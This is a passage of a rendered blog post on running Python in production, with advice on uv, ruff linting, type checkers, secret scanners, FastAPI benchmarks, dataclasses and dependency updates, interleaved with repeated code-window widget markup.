            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># uv is really fast for both fresh and incremental package updates</span>
</span></span><span style="display:flex;"><span>$ uv sync --all-groups
</span></span><span style="display:flex;"><span>Resolved <span style="color:#2aa198">193</span> packages in 9ms</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="linters">Linters</h3>
<p>Since Python is a dynamically typed language, it is very easy to write code that is either outright broken
or breaks along certain code paths.</p>
<p>Linters are the first line of defense against such code.
There is a plethora of linters available for Python.
None seems to be sufficient on its own.
My current stack consists of   
    
    
<a href="https://pypi.org/project/ruff?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ruff</a>, <del>  
    
    
<a href="https://pypi.org/project/autoflake/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">autoflake</a></del>, <del>  
    
    
<a href="https://pypi.org/project/flake8/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">flake8</a></del>, <del>  
    
    
<a href="https://pypi.org/project/isort/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">isort</a></del>, and <del>  
    
    
<a href="https://pypi.org/project/pylint/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pylint</a>.</del></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Makefile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-makefile" data-lang="makefile"><span style="display:flex;"><span><span style="color:#268bd2">format</span><span style="color:#719e07">:</span>
</span></span><span style="display:flex;"><span>	<span style="color:#586e75"># I enable a lot of linters including isort, flake8, autoflake, pylint equivalent and others</span>
</span></span><span style="display:flex;"><span>	uv run ruff check --config pyproject.toml --fix .
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">lint</span><span style="color:#719e07">:</span>
</span></span><span style="display:flex;"><span>	<span style="color:#586e75"># Config file is specified for brevity</span>
</span></span><span style="display:flex;"><span>	uv run ruff check --config pyproject.toml .
</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Microsoft&rsquo;s   
    
    
<a href="https://github.com/microsoft/pyright?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pyright</a> might be good but, in my experience,
produces too many false positives.</p>
<p>  
    
    
<a href="https://mypy-lang.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mypy</a> is even worse, see this detailed
  
    
    
<a href="https://lobste.rs/s/2uukup/pyrefly_vs_ty_comparing_python_s_two_new#c_l6glma?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">discussion</a>.</p>
<p><del>I haven&rsquo;t yet found a good way to enforce type hints or type checking in Python.</del></p>
<h4 id="update-may-2025">Update (May 2025)</h4>
<ul>
<li>A good way to enforce types in Python is to use   
    
    
<a href="https://pypi.org/project/flake8-annotations/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">flake8-annotations</a>.</li>
<li>I no longer use <code>flake8</code> and <code>autoflake</code> explicitly. I prefer using   
    
    
<a href="https://docs.astral.sh/ruff/rules/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">flake8-related rules</a> via <code>ruff</code> linter</li>
<li>I no longer use <code>isort</code> directly. My recommendation is to   
    
    
<a href="https://docs.astral.sh/ruff/rules/#isort-i?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">enable isort via ruff</a>.</li>
<li>I no longer use <code>pylint</code> directly. My recommendation would be to   
    
    
<a href="https://docs.astral.sh/ruff/rules/#pylint-pl?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">enable pylint via ruff</a>.</li>
<li>I am hopeful for   
    
    
<a href="https://github.com/astral-sh/ty?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ty</a>, it is still in alpha release as of May 2025.</li>
</ul>
<h3 id="prevent-secret-leaks">Prevent secret leaks</h3>
<p>Use   
    
    
<a href="https://gitguardian.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gitguardian</a>,
  
    
    
<a href="https://github.com/gitleaks/gitleaks?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gitleaks</a>, or   
    
    
<a href="https://github.com/praetorian-inc/noseyparker?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">noseyparker</a> to prevent secrets from being committed to the repository.</p>
<p>In my experience, GitGuardian is the best, but it is a closed-source tool, while Gitleaks and Noseyparker are open-source.</p>
<p>This advice isn&rsquo;t specific to Python, but something that engineers who have spent a lot of time
writing non-production code in Python Notebooks, do make the mistake of.</p>
<h3 id="use-git-commit-hook">Use git commit hook</h3>
<p>  
    
    
<a href="https://pre-commit.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pre-commit</a> hooks are good for enforcing code quality.
This is not specific to Python either but is a good practice that&rsquo;s useful when you are working
with data engineers and data scientists who excel at data analysis more than writing
production-ready code.</p>
<h2 id="project-maintainability">Project maintainability</h2>
<h3 id="fastapi">FastAPI</h3>
<p>If you are writing a web service, then go for a combination of

<a href="/programming/python-in-production/">fastapi</a> and   
    
    
<a href="https://gunicorn.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gunicorn</a>.
In my 
<a href="/programming/flask-vs-fastapi/">benchmarking</a>, everything else being equal, FastAPI+gunicorn has 3X the throughput of Flask+gunicorn.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ h2load --h1 -n1000 -c40 &lt;Flask+gunicorn&gt;
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>                      min         max         mean         sd        +/- sd
</span></span><span style="display:flex;"><span><span style="color:#b58900">time</span> <span style="color:#719e07">for</span> request:      406us     83.37ms     12.56ms     22.46ms    86.70%
</span></span><span style="display:flex;"><span>req/s           :      75.98       83.04       79.36        2.08    60.00%</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ h2load --h1 -n1000 -c40 &lt;Fastapi+gunicorn&gt;
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>                      min         max         mean         sd        +/- sd
</span></span><span style="display:flex;"><span> <span style="color:#b58900">time</span> <span style="color:#719e07">for</span> request:      825us     29.78ms      4.07ms      6.13ms    91.70%
</span></span><span style="display:flex;"><span> req/s           :     231.07      256.41      241.98        8.86    52.50%
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="data-classes">Data classes</h3>
<p>Use data-classes or more advanced   
    
    
<a href="https://github.com/pydantic/pydantic?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pydantic</a> for holding data and use
helper classes to group pure functions that operate on those data classes.
I was planning to write more, but then I came across this recently written
  
    
    
<a href="https://blog.glyph.im/2025/04/stop-writing-init-methods.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">elaborate article</a> on this topic.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Python
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#719e07">from</span> typing <span style="color:#719e07">import</span> List
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> uuid
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> dataclasses
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">@dataclasses.dataclass</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">class</span> <span style="color:#268bd2">Person</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#b58900">id</span>: uuid<span style="color:#719e07">.</span>UUID
</span></span><span style="display:flex;"><span>    name: <span style="color:#b58900">str</span>
</span></span><span style="display:flex;"><span>    degrees: List[<span style="color:#b58900">str</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="avoid-multi-threading">Avoid multi-threading</h3>
<p>Python&rsquo;s GIL is a mess.
Multi-threading in Python codebases is   
    
    
<a href="https://github.com/pytorch/pytorch/issues/143593?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">not well tested</a> and
is a source of   
    
    
<a href="https://github.com/huggingface/transformers/issues/25197?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bugs</a>.</p>
<p>It is best to avoid any concurrency in Python codebases.
If you need performance, use multiple processes instead.</p>
<p>Edit: After this article went viral on
  
    
    
<a href="https://www.reddit.com/r/Python/comments/1k3fase/notes_running_python_in_production/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Reddit</a>,
I updated to clarify my opinion.
<code>asyncio</code> is a great way to write concurrent code in Python.
Using libraries like <code>fastapi</code> that use <code>asyncio</code> underneath is good.
However, writing async functions (<code>async def ...</code>) should be done only at one&rsquo;s discretion.</p>
<p>Here&rsquo;s another great article on why   
    
    
<a href="https://tonybaloney.github.io/posts/why-isnt-python-async-more-popular.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">async Python is not popular</a>.</p>
<h3 id="dependency-management">Dependency management</h3>
<p>  
    
    
<a href="https://pypi.org/project/pip-audit/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pip-audit</a> could be useful for dependencies with known vulnerabilities. I have never found anything useful, primarily because I use   
    
    
<a href="https://docs.github.com/en/code-security/dependabot/working-with-dependabot/dependabot-options-reference?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dependabot</a> for automatic dependency updates.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Yaml
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
